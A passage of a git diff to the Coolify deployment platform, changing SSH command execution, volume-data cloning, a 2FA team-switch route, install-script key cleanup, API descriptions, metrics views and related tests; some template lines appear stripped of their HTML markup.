its own variables, not in the compose file of the pull request. + if (is_string($value) && str_contains($value, '{{') && ($isValueFromDatabase || ! $isPublicPullRequest)) { $value = resolveSharedEnvironmentVariables($value, $resource); } diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index e5dd73de46..0c8bb86ebd 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -192,8 +192,8 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $ return SshRetryHandler::retry( function () use ($server, $command_string) { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string); - $process = runSshProcess($sshCommand, 30); + $sshCommand = SshMultiplexingHelper::generateSshBatchCommand($server); + $process = runSshProcess($sshCommand, 30, SshMultiplexingHelper::sshBatchInput($command_string)); $output = trim($process->output()); $exitCode = $process->exitCode(); @@ -228,8 +228,8 @@ function instant_remote_process(Collection|array $command, Server $server, bool return SshRetryHandler::retry( function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing, (int) $effectiveTimeout); - $process = runSshProcess($sshCommand, (int) $effectiveTimeout); + $sshCommand = SshMultiplexingHelper::generateSshBatchCommand($server, $disableMultiplexing, (int) $effectiveTimeout); + $process = runSshProcess($sshCommand, (int) $effectiveTimeout, SshMultiplexingHelper::sshBatchInput($command_string)); $output = trim($process->output()); $exitCode = $process->exitCode(); diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 7c664649cb..bfb5f22759 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -25,8 +25,7 @@ function service_logo_urls(mixed $logo): array ]; } -use App\Actions\Service\StartService; -use App\Actions\Service\StopService; +use App\Actions\Shared\CloneVolumeDataWithSourceStopped; use App\Jobs\VolumeCloneJob; use App\Models\Application; use App\Models\GithubApp; @@ -38,8 +37,6 @@ use App\Models\ServiceDatabase; use App\Models\StandaloneDocker; use App\Models\SwarmDocker; use Illuminate\Database\Eloquent\Model; -use Illuminate\Support\Facades\Bus; -use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use Illuminate\Support\Stringable; use Spatie\Url\Url; @@ -778,22 +775,11 @@ function clone_service(Service $source, StandaloneDocker|SwarmDocker $destinatio $sourceServer = $source->destination?->server; $targetServer = $newService->destination?->server; - if ($pendingVolumeClones !== [] && $sourceServer && $targetServer) { - $chain = [ - function () use ($source) { - StopService::run($source); - }, - ...array_map( - fn (array $clone) => new VolumeCloneJob($clone[0], $clone[1]->name, $sourceServer, $targetServer, $clone[1]), - $pendingVolumeClones, - ), - function () use ($source) { - StartService::run($source); - }, - ]; - - // The jobs load the new volume rows, so they must not run before the transaction of the caller commits. - DB::afterCommit(fn () => Bus::chain($chain)->onQueue('high')->dispatch()); + if ($sourceServer && $targetServer) { + CloneVolumeDataWithSourceStopped::run($source, array_map( + fn (array $clone) => new VolumeCloneJob($clone[0], $clone[1]->name, $sourceServer, $targetServer, $clone[1]), + $pendingVolumeClones, + )); } return $newService; diff --git a/bootstrap/helpers/subscriptions.php b/bootstrap/helpers/subscriptions.php index f91c165e48..951fdeab1b 100644 --- a/bootstrap/helpers/subscriptions.php +++ b/bootstrap/helpers/subscriptions.php @@ -122,10 +122,13 @@ function allowedPathsForTwoFactorSetup(): array { return [ 'two-factor-required', + 'two-factor-required/switch-team', 'two-factor-challenge', 'logout', 'user/confirm-password', 'user/confirmed-password-status', + 'passkeys/confirm', + 'passkeys/confirm/options', 'user/two-factor-authentication', 'user/confirmed-two-factor-authentication', 'user/two-factor-qr-code', diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 3a63b279d7..8e214b385e 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -3,8 +3,9 @@ services: # Realtime runs inside the coolify container now. Without this entry, such an override is an # incomplete service and every upgrade fails. Zero replicas means it never starts, and # "docker compose up" removes the old coolify-realtime container (an inactive profile keeps it). + # It uses the coolify image, so install and upgrade do not pull another image. soketi: - image: busybox:1.37 + image: "${REGISTRY_URL:-docker.io}/coollabsio/coolify:${LATEST_IMAGE:-latest}" deploy: replicas: 0 coolify: diff --git a/openapi.json b/openapi.json index 321082d771..8346937218 100644 --- a/openapi.json +++ b/openapi.json @@ -5415,7 +5415,7 @@ "Applications" ], "summary": "Update Storage", - "description": "Update a persistent storage or file storage by application UUID.", + "description": "Update a persistent storage or file storage by application UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.", "operationId": "update-storage-by-application-uuid", "parameters": [ { @@ -10306,7 +10306,7 @@ "Databases" ], "summary": "Update Storage", - "description": "Update a persistent storage or file storage by database UUID.", + "description": "Update a persistent storage or file storage by database UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.", "operationId": "update-storage-by-database-uuid", "parameters": [ { @@ -17952,7 +17952,7 @@ "Servers" ], "summary": "Migrate server to another Coolify instance", - "description": "Start a transfer in the background: export this server, import and claim it on the target instance (with the given token), then disable automations here. Follow the progress with GET \/servers\/{uuid}\/transfer. The target URL must use https. Requires read:sensitive and write.", + "description": "Start a transfer in the background: export this server, import and claim it on the target instance (with the given token), then disable automations here. All secrets of the server, also locked environment variables, are sent to the target. Follow the progress with GET \/servers\/{uuid}\/transfer. The target URL must use https. Requires read:sensitive and write, and the owner role of the server team.", "operationId": "migrate-server-between-instances", "parameters": [ { @@ -17993,7 +17993,7 @@ "description": "Transfer started" }, "403": { - "description": "Missing sensitive permission" + "description": "Missing sensitive permission or not an owner of the server team" }, "404": { "$ref": "#\/components\/responses\/404" @@ -21755,7 +21755,7 @@ "Services" ], "summary": "Update Storage", - "description": "Update a persistent storage or file storage by service UUID.", + "description": "Update a persistent storage or file storage by service UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.", "operationId": "update-storage-by-service-uuid", "parameters": [ { diff --git a/openapi.yaml b/openapi.yaml index b19f8e7243..82076ff382 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -3561,7 +3561,7 @@ paths: tags: - Applications summary: 'Update Storage' - description: 'Update a persistent storage or file storage by application UUID.' + description: 'Update a persistent storage or file storage by application UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.' operationId: update-storage-by-application-uuid parameters: - @@ -6754,7 +6754,7 @@ paths: tags: - Databases summary: 'Update Storage' - description: 'Update a persistent storage or file storage by database UUID.' + description: 'Update a persistent storage or file storage by database UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.' operationId: update-storage-by-database-uuid parameters: - @@ -11351,7 +11351,7 @@ paths: tags: - Servers summary: 'Migrate server to another Coolify instance' - description: 'Start a transfer in the background: export this server, import and claim it on the target instance (with the given token), then disable automations here. Follow the progress with GET /servers/{uuid}/transfer. The target URL must use https. Requires read:sensitive and write.' + description: 'Start a transfer in the background: export this server, import and claim it on the target instance (with the given token), then disable automations here. All secrets of the server, also locked environment variables, are sent to the target. Follow the progress with GET /servers/{uuid}/transfer. The target URL must use https. Requires read:sensitive and write, and the owner role of the server team.' operationId: migrate-server-between-instances parameters: - @@ -11380,7 +11380,7 @@ paths: '202': description: 'Transfer started' '403': - description: 'Missing sensitive permission' + description: 'Missing sensitive permission or not an owner of the server team' '404': $ref: '#/components/responses/404' '422': @@ -13728,7 +13728,7 @@ paths: tags: - Services summary: 'Update Storage' - description: 'Update a persistent storage or file storage by service UUID.' + description: 'Update a persistent storage or file storage by service UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.' operationId: update-storage-by-service-uuid parameters: - diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 3a63b279d7..8e214b385e 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -3,8 +3,9 @@ services: # Realtime runs inside the coolify container now. Without this entry, such an override is an # incomplete service and every upgrade fails. Zero replicas means it never starts, and # "docker compose up" removes the old coolify-realtime container (an inactive profile keeps it). + # It uses the coolify image, so install and upgrade do not pull another image. soketi: - image: busybox:1.37 + image: "${REGISTRY_URL:-docker.io}/coollabsio/coolify:${LATEST_IMAGE:-latest}" deploy: replicas: 0 coolify: diff --git a/other/nightly/install.sh b/other/nightly/install.sh index b00f35da86..7a1783082a 100755 --- a/other/nightly/install.sh +++ b/other/nightly/install.sh @@ -1028,8 +1028,8 @@ if [ "$IS_COOLIFY_VOLUME_EXISTS" -eq 0 ]; then test -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub && rm -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub ssh-keygen -t ed25519 -a 100 -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal -q -N "" -C coolify chown 9999 /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal - # Remove only the key from a previous install (generated with the comment "coolify"), not other keys that contain "coolify" - sed -i -E "/[[:space:]]coolify[[:space:]]*$/d" ~/.ssh/authorized_keys + # Remove only the key from a previous install (comment "coolify", or "root@coolify" before September 2024), not other keys that contain "coolify" + sed -i -E "/[[:space:]](root@)?coolify[[:space:]]*$/d" ~/.ssh/authorized_keys cat /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub >>~/.ssh/authorized_keys rm -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub fi diff --git a/resources/views/components/forms/checkbox.blade.php b/resources/views/components/forms/checkbox.blade.php index 8f4933200a..863eed8f5c 100644 --- a/resources/views/components/forms/checkbox.blade.php +++ b/resources/views/components/forms/checkbox.blade.php @@ -16,7 +16,8 @@ 'cursor-pointer hover:bg-neutral-100/80 dark:hover:bg-white/[0.035]' => !$disabled, 'opacity-55' => $disabled, ])> -
    - + @endif - @if ($live) - + @if ($this->pollSeconds()) +
    pollSeconds() }}s="pollData" class="hidden">
    @endif @if ($servers->isEmpty()) @@ -213,7 +217,7 @@ $serverListboxOptions = array_merge( fleet series fall into a clean 2x2 below (no orphaned cell). --}}
    @foreach (['cpu' => 'CPU', 'memory' => 'Memory used', 'network' => 'Network throughput', 'load' => 'Load average', 'disk' => 'Disk usage'] as $key => $label) - $key === 'cpu'])> + $key === 'cpu'])>
    @@ -231,7 +235,7 @@ $serverListboxOptions = array_merge(
    @include('livewire.traffic._sort-header', ['column' => 'name', 'label' => 'Server', 'text' => true, 'class' => 'justify-self-start']) @foreach (['cpu' => 'CPU', 'memory' => 'Memory', 'disk' => 'Disk', 'load' => 'Load', 'network' => 'Network'] as $column => $label) - @include('livewire.traffic._sort-header', ['column' => $column, 'label' => $label, 'text' => true, 'dir' => 'desc', 'class' => 'justify-self-start']) + @include('livewire.traffic._sort-header', ['column' => $column, 'label' => $label, 'text' => true, 'dir' => 'desc', 'class' => 'justify-self-start', 'title' => $column === 'cpu' ? 'Sort by CPU. 100% means that all cores of the server are fully busy.' : null]) @endforeach @include('livewire.traffic._sort-header', ['column' => 'containers', 'label' => 'Containers', 'class' => 'justify-self-end'])
    @@ -296,7 +300,7 @@ $serverListboxOptions = array_merge( @include('livewire.traffic._sort-header', ['column' => 'name', 'label' => 'Container', 'text' => true, 'class' => 'justify-self-start']) @include('livewire.traffic._sort-header', ['column' => 'server', 'label' => 'Server', 'text' => true, 'class' => 'justify-self-start']) @foreach ($containerMetrics as $key => $label) - @include('livewire.traffic._sort-header', ['column' => $key, 'label' => $label, 'class' => 'justify-self-end']) + @include('livewire.traffic._sort-header', ['column' => $key, 'label' => $label, 'class' => 'justify-self-end', 'title' => $key === 'cpu' ? 'Sort by CPU. 100% means one CPU core is fully busy, so a container can go above 100%.' : null]) @endforeach
    diff --git a/resources/views/livewire/project/application/previews.blade.php b/resources/views/livewire/project/application/previews.blade.php index 8a898cd3e8..01df79cdfe 100644 --- a/resources/views/livewire/project/application/previews.blade.php +++ b/resources/views/livewire/project/application/previews.blade.php @@ -86,7 +86,7 @@
    +
    + +
    @@ -138,14 +142,35 @@
    - - Clone to environment - - - Clone to project - + @if ($cloneVolumeData) + @foreach (['environment' => 'Clone to environment', 'project' => 'Clone to project'] as $cloneType => $cloneLabel) +
    + + + + {{ $cloneLabel }} + + + +
    + @endforeach + @else + + Clone to environment + + + Clone to project + + @endif
    diff --git a/resources/views/livewire/project/shared/metrics.blade.php b/resources/views/livewire/project/shared/metrics.blade.php index 341c66c68c..ab623bb3c4 100644 --- a/resources/views/livewire/project/shared/metrics.blade.php +++ b/resources/views/livewire/project/shared/metrics.blade.php @@ -38,8 +38,8 @@ icon-name="dashboard" /> @else - @if ($live) -
    pollSeconds() }}s="loadData" class="hidden">
    + @if ($this->pollSeconds()) +
    pollSeconds() }}s="pollData" class="hidden">
    @endif @@ -58,12 +58,12 @@ ]" />

    - While live, ranges up to one hour refresh every five seconds. Longer ranges refresh every minute. + Ranges up to one hour refresh live every five seconds. Longer ranges load once; turn on live refresh to update them every minute.

    + helper="CPU usage of the container, as in docker stats. 100% means one CPU core is fully busy, so a container that uses more than one core can go above 100%. The maximum is the number of cores × 100%.">
    diff --git a/resources/views/livewire/project/shared/resource-operations.blade.php b/resources/views/livewire/project/shared/resource-operations.blade.php index e1670db563..848af355ae 100644 --- a/resources/views/livewire/project/shared/resource-operations.blade.php +++ b/resources/views/livewire/project/shared/resource-operations.blade.php @@ -1,4 +1,5 @@ -
    - + Cloning copies settings, environment variables, and resource configuration. Stored files, - database records, and other persistent data are not copied. + database records, and other persistent data are copied only when you select Clone volume data.
    @@ -179,15 +180,41 @@ placeholder="Choose an environment…" />
    +
    + +
    +
    -

    - The running resource will not be changed. -

    - - Clone resource - + @if ($cloneVolumeData) +

    + A running resource is stopped while its volume data is copied. +

    + + + + Clone resource + + + + @else +

    + The running resource will not be changed. +

    + + Clone resource + + @endif
    diff --git a/resources/views/livewire/server/charts.blade.php b/resources/views/livewire/server/charts.blade.php index 43eb732701..37a123eeef 100644 --- a/resources/views/livewire/server/charts.blade.php +++ b/resources/views/livewire/server/charts.blade.php @@ -12,8 +12,8 @@
    isMetricsEnabled()) x-init="$wire.loadData()" @endif> @if ($server->isMetricsEnabled()) - @if ($live) -
    pollSeconds() }}s="loadData" class="hidden">
    + @if ($this->pollSeconds()) +
    pollSeconds() }}s="pollData" class="hidden">
    @endif

    - While live, ranges up to one hour refresh every five seconds. Longer ranges refresh every minute. + Ranges up to one hour refresh live every five seconds. Longer ranges load once; turn on live refresh to update them every minute.

    @@ -63,7 +63,7 @@ charts fall into a 2x2 below (mirrors the fleet /metrics layout). --}}
    + helper="Average usage of all CPU cores on this server. 100% means that all cores are fully busy. For example, on a server with 8 cores, one fully busy core shows as 12.5%.">
    diff --git a/resources/views/livewire/two-factor-required.blade.php b/resources/views/livewire/two-factor-required.blade.php index 84ce7ffad6..4c246f6a21 100644 --- a/resources/views/livewire/two-factor-required.blade.php +++ b/resources/views/livewire/two-factor-required.blade.php @@ -46,6 +46,18 @@ Configure 2FA @endif + @if (!request()->user()->two_factor_confirmed_at && $teamsWithoutTwoFactor->isNotEmpty()) +
    +

    Or switch to a team that does not require 2FA:

    + @foreach ($teamsWithoutTwoFactor as $teamWithoutTwoFactor) +
    + @csrf + + {{ $teamWithoutTwoFactor->name }} +
    + @endforeach +
    + @endif
    @unless (request()->user()->two_factor_confirmed_at) diff --git a/routes/web.php b/routes/web.php index 4cee090eff..a2b024e186 100644 --- a/routes/web.php +++ b/routes/web.php @@ -193,6 +193,19 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/force-password-reset', ForcePasswordReset::class)->name('auth.force-password-reset'); }); Route::get('/two-factor-required', TwoFactorRequired::class)->name('two-factor.required'); + // A member without 2FA can leave a team that requires it, but only for a team that does not. + Route::post('/two-factor-required/switch-team', function (Request $request) { + $team = $request->user()->teams() + ->whereKey($request->integer('team_id')) + ->where('is_two_factor_required', false) + ->first(); + if (! $team) { + return redirect()->route('two-factor.required'); + } + refreshSession($team); + + return redirect()->route('dashboard'); + })->name('two-factor.required.switch-team'); Route::get('/', Dashboard::class)->name('dashboard'); Route::middleware('access.team-wide')->group(function () { diff --git a/scripts/install.sh b/scripts/install.sh index 905421675e..c9801fbc0b 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -1028,8 +1028,8 @@ if [ "$IS_COOLIFY_VOLUME_EXISTS" -eq 0 ]; then test -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub && rm -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub ssh-keygen -t ed25519 -a 100 -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal -q -N "" -C coolify chown 9999 /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal - # Remove only the key from a previous install (generated with the comment "coolify"), not other keys that contain "coolify" - sed -i -E "/[[:space:]]coolify[[:space:]]*$/d" ~/.ssh/authorized_keys + # Remove only the key from a previous install (comment "coolify", or "root@coolify" before September 2024), not other keys that contain "coolify" + sed -i -E "/[[:space:]](root@)?coolify[[:space:]]*$/d" ~/.ssh/authorized_keys cat /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub >>~/.ssh/authorized_keys rm -f /data/coolify/ssh/keys/id.$CURRENT_USER@host.docker.internal.pub fi diff --git a/tests/Feature/Api/EnvironmentVariableUpdateApiTest.php b/tests/Feature/Api/EnvironmentVariableUpdateApiTest.php index 6bb5b79efb..97d100cc2a 100644 --- a/tests/Feature/Api/EnvironmentVariableUpdateApiTest.php +++ b/tests/Feature/Api/EnvironmentVariableUpdateApiTest.php @@ -8,6 +8,7 @@ use App\Models\Project; use App\Models\Server; use App\Models\Service; use App\Models\StandaloneDocker; +use App\Models\StandalonePostgresql; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; @@ -415,3 +416,69 @@ describe('environment variable key validation for app and service APIs', functio ->assertStatus(422); }); }); + +describe('env PATCH keeps the value when value is omitted', function () { + beforeEach(function () { + $this->headers = [ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ]; + }); + + test('keeps or updates the value', function (string $resourceType, string $endpoint, bool $bulk) { + $resource = match ($resourceType) { + 'application' => Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]), + 'service' => Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]), + 'database' => StandalonePostgresql::create([ + 'name' => 'db', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'app', + 'image' => 'postgres:16', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]), + }; + + $env = EnvironmentVariable::create([ + 'key' => 'KEEP_ME', + 'value' => 'secret-value', + 'resourceable_type' => $resource->getMorphClass(), + 'resourceable_id' => $resource->id, + 'is_preview' => false, + 'is_literal' => false, + ]); + + $url = "/api/v1/{$endpoint}/{$resource->uuid}/envs".($bulk ? '/bulk' : ''); + $send = fn (array $payload) => $this->withHeaders($this->headers) + ->patchJson($url, $bulk ? ['data' => [$payload]] : $payload) + ->assertStatus(201); + + $send(['key' => 'KEEP_ME', 'is_literal' => true]); + + $env->refresh(); + expect($env->value)->toBe('secret-value') + ->and((bool) $env->is_literal)->toBeTrue(); + + $send(['key' => 'KEEP_ME', 'value' => 'new-value']); + + expect($env->fresh()->value)->toBe('new-value'); + })->with([ + 'application single' => ['application', 'applications', false], + 'application bulk' => ['application', 'applications', true], + 'service single' => ['service', 'services', false], + 'service bulk' => ['service', 'services', true], + 'database single' => ['database', 'databases', false], + 'database bulk' => ['database', 'databases', true], + ]); +}); diff --git a/tests/Feature/Api/ServerDeployAbilityTest.php b/tests/Feature/Api/ServerDeployAbilityTest.php index d73605003f..c79d12e7db 100644 --- a/tests/Feature/Api/ServerDeployAbilityTest.php +++ b/tests/Feature/Api/ServerDeployAbilityTest.php @@ -210,7 +210,7 @@ describe('destination create', function () { ->assertJsonPath('errors.network.0', 'A Docker network with this name already exists on the server. Use a new network name.'); expect(StandaloneDocker::query()->count())->toBe($countBefore); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker network ls')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker network ls')); }); test('rejects the destination when the server networks cannot be read', function () { diff --git a/tests/Feature/Api/ServerDockerRegistriesApiTest.php b/tests/Feature/Api/ServerDockerRegistriesApiTest.php index 0c9aacfa99..c291114a36 100644 --- a/tests/Feature/Api/ServerDockerRegistriesApiTest.php +++ b/tests/Feature/Api/ServerDockerRegistriesApiTest.php @@ -75,7 +75,7 @@ function serverRegistriesApiHeaders(string $bearerToken): array function fakeServerRegistriesSsh(array &$commands, string $config = '', string $error = ''): void { Process::fake(function ($process) use (&$commands, $config, $error) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands[] = $command; if (str_contains($command, '.docker/config.json')) { diff --git a/tests/Feature/Api/UiSettingsApiParityTest.php b/tests/Feature/Api/UiSettingsApiParityTest.php index dd3b0649b4..1d087b84c3 100644 --- a/tests/Feature/Api/UiSettingsApiParityTest.php +++ b/tests/Feature/Api/UiSettingsApiParityTest.php @@ -271,6 +271,9 @@ describe('servers', function () { })->with([ 'wildcard domain' => ['wildcard_domain', 'not a url'], 'timezone' => ['server_timezone', 'Mars/Olympus'], + 'null timezone' => ['server_timezone', null], + 'empty timezone' => ['server_timezone', ''], + 'array timezone' => ['server_timezone', ['Europe/Berlin']], 'compression' => ['backup_compression_cpu_percentage', 30], ]); diff --git a/tests/Feature/ApiRateLimitClientIpTest.php b/tests/Feature/ApiRateLimitClientIpTest.php index b2272294e3..674d8b9fc0 100644 --- a/tests/Feature/ApiRateLimitClientIpTest.php +++ b/tests/Feature/ApiRateLimitClientIpTest.php @@ -15,11 +15,11 @@ beforeEach(function () { InstanceSettings::forceCreate(['id' => 0]); }); -function pushSentinelFrom(string $clientIp): TestResponse +function pushSentinelFrom(string $clientIp, string $peer = '172.70.0.1'): TestResponse { return test() ->withHeader('CF-Connecting-IP', $clientIp) - ->withServerVariables(['REMOTE_ADDR' => '172.70.0.1']) + ->withServerVariables(['REMOTE_ADDR' => $peer]) ->postJson('/api/v1/sentinel/push'); } @@ -33,13 +33,13 @@ it('gives each Cloudflare client ip its own sentinel push bucket on cloud', func pushSentinelFrom('203.0.113.20')->assertUnauthorized(); }); -it('ignores the Cloudflare client ip for sentinel pushes on self-hosted instances', function () { +it('ignores the Cloudflare client ip for sentinel pushes on self-hosted instances when the peer is not Cloudflare', function () { config()->set('constants.coolify.self_hosted', true); - pushSentinelFrom('203.0.113.10')->assertUnauthorized(); - pushSentinelFrom('203.0.113.10')->assertUnauthorized(); + pushSentinelFrom('203.0.113.10', peer: '198.51.100.7')->assertUnauthorized(); + pushSentinelFrom('203.0.113.10', peer: '198.51.100.7')->assertUnauthorized(); - pushSentinelFrom('203.0.113.20')->assertStatus(429); + pushSentinelFrom('203.0.113.20', peer: '198.51.100.7')->assertStatus(429); }); it('keys unauthenticated limiters by the Cloudflare client ip on cloud', function (string $limiter) { diff --git a/tests/Feature/ApplicationComposeInjectionValidationTest.php b/tests/Feature/ApplicationComposeInjectionValidationTest.php index 86a13682a3..9f3d870ead 100644 --- a/tests/Feature/ApplicationComposeInjectionValidationTest.php +++ b/tests/Feature/ApplicationComposeInjectionValidationTest.php @@ -75,7 +75,7 @@ function composeInjectionPayloads(): array function fakeRepositoryCompose(string $compose): void { Process::fake(function ($process) use ($compose) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'git cat-file blob')) { return Process::result(output: $compose); } @@ -310,7 +310,7 @@ test('a deployment stops with a visible log line when the repository Compose fil ->not->toContain('#0 ') ->not->toContain('.php'); expect($this->application->refresh()->docker_compose_raw)->toBe(SAFE_APPLICATION_COMPOSE); - Process::assertNotRan(fn ($process) => str_contains(is_array($process->command) ? implode(' ', $process->command) : $process->command, 'base64 -d')); + Process::assertNotRan(fn ($process) => str_contains(is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process), 'base64 -d')); })->with(['production' => 0, 'pull request preview' => 42]); test('the deployment log shows the unsafe Compose file explanation once and a short failure line', function () { diff --git a/tests/Feature/ApplicationDeploymentFailedKeepsHealthyContainerTest.php b/tests/Feature/ApplicationDeploymentFailedKeepsHealthyContainerTest.php index 8b3fd142f5..0e8d1a5dbc 100644 --- a/tests/Feature/ApplicationDeploymentFailedKeepsHealthyContainerTest.php +++ b/tests/Feature/ApplicationDeploymentFailedKeepsHealthyContainerTest.php @@ -67,8 +67,8 @@ function failQueuedCopy(string $queuedCopy): void function removesContainer(string $containerName): Closure { - return fn (PendingProcess $process) => str_contains((string) $process->command, 'docker rm -f') - && str_contains((string) $process->command, $containerName); + return fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'docker rm -f') + && str_contains(remoteProcessScript($process), $containerName); } it('keeps the new container when a deployment fails after the new container became healthy', function () { diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php index f79fd1919f..bd1939ee97 100644 --- a/tests/Feature/ApplicationPreviewApiTest.php +++ b/tests/Feature/ApplicationPreviewApiTest.php @@ -142,17 +142,17 @@ describe('GET /api/v1/applications/{uuid}/previews/{pull_request_id}/logs', func $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); $this->server->update(['private_key_id' => $privateKey->id]); Process::fake(function ($process) { - if (str_contains($process->command, 'docker ps -a')) { + if (str_contains(remoteProcessScript($process), 'docker ps -a')) { return Process::result(output: json_encode([ 'ID' => 'preview-container', 'Names' => "{$this->application->uuid}-pr-42", 'Labels' => "coolify.applicationId={$this->application->id},coolify.pullRequestId=42", ])); } - if (str_contains($process->command, 'docker inspect')) { + if (str_contains(remoteProcessScript($process), 'docker inspect')) { return Process::result(output: json_encode(['State' => ['Status' => 'running']])); } - if (str_contains($process->command, 'docker logs')) { + if (str_contains(remoteProcessScript($process), 'docker logs')) { return Process::result(output: 'preview runtime log'); } @@ -455,7 +455,7 @@ describe('GET /api/v1/applications/{uuid}/logs service_name', function () { $privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); $this->server->update(['private_key_id' => $privateKey->id]); Process::fake(function ($process) { - if (str_contains($process->command, 'docker ps -a')) { + if (str_contains(remoteProcessScript($process), 'docker ps -a')) { return Process::result(output: implode(PHP_EOL, [ json_encode([ 'ID' => 'web-container', @@ -469,11 +469,11 @@ describe('GET /api/v1/applications/{uuid}/logs service_name', function () { ]), ])); } - if (str_contains($process->command, 'docker inspect')) { + if (str_contains(remoteProcessScript($process), 'docker inspect')) { return Process::result(output: json_encode(['State' => ['Status' => 'running']])); } - if (str_contains($process->command, 'docker logs')) { - return Process::result(output: str_contains($process->command, 'worker-container') ? 'worker log' : 'web log'); + if (str_contains(remoteProcessScript($process), 'docker logs')) { + return Process::result(output: str_contains(remoteProcessScript($process), 'worker-container') ? 'worker log' : 'web log'); } return Process::result(); diff --git a/tests/Feature/ApplicationPreviewComposeCleanupTest.php b/tests/Feature/ApplicationPreviewComposeCleanupTest.php index c926b35745..087a37650f 100644 --- a/tests/Feature/ApplicationPreviewComposeCleanupTest.php +++ b/tests/Feature/ApplicationPreviewComposeCleanupTest.php @@ -91,7 +91,7 @@ beforeEach(function () { function fakePreviewCleanupServer(array &$commands, string $previewNetwork, ?array $previewNetworkContainers = [], string $dockerPs = ''): void { Process::fake(function ($process) use (&$commands, $previewNetwork, $previewNetworkContainers, $dockerPs) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands[] = $command; if (str_contains($command, 'docker network inspect') && str_contains($command, "'{$previewNetwork}'")) { diff --git a/tests/Feature/ApplicationPreviewVolumeCleanupTest.php b/tests/Feature/ApplicationPreviewVolumeCleanupTest.php index de7731aa08..9aa30744ba 100644 --- a/tests/Feature/ApplicationPreviewVolumeCleanupTest.php +++ b/tests/Feature/ApplicationPreviewVolumeCleanupTest.php @@ -67,11 +67,11 @@ it('deletes only named volumes that have the preview suffix enabled', function ( $this->preview->forceDelete(); - Process::assertRanTimes(fn ($process) => str_contains($process->command, 'docker volume rm'), 1); - Process::assertRan(fn ($process) => str_contains($process->command, "docker volume rm -f 'app-data-pr-42'")); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker volume rm -f 'app-data-pr-42'")); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'shared-cache')); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'seed-data')); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), 'docker volume rm'), 1); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker volume rm -f 'app-data-pr-42'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sudo docker volume rm -f 'app-data-pr-42'")); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'shared-cache')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'seed-data')); }); it('reports Docker volume removal failures and keeps the preview record', function () { @@ -103,7 +103,7 @@ it('continues removing preview volumes when an earlier volume is already absent' 'is_preview_suffix_enabled' => true, ]); Process::fake(function ($process) { - if (str_contains($process->command, "docker volume rm -f 'already-removed-pr-42'")) { + if (str_contains(remoteProcessScript($process), "docker volume rm -f 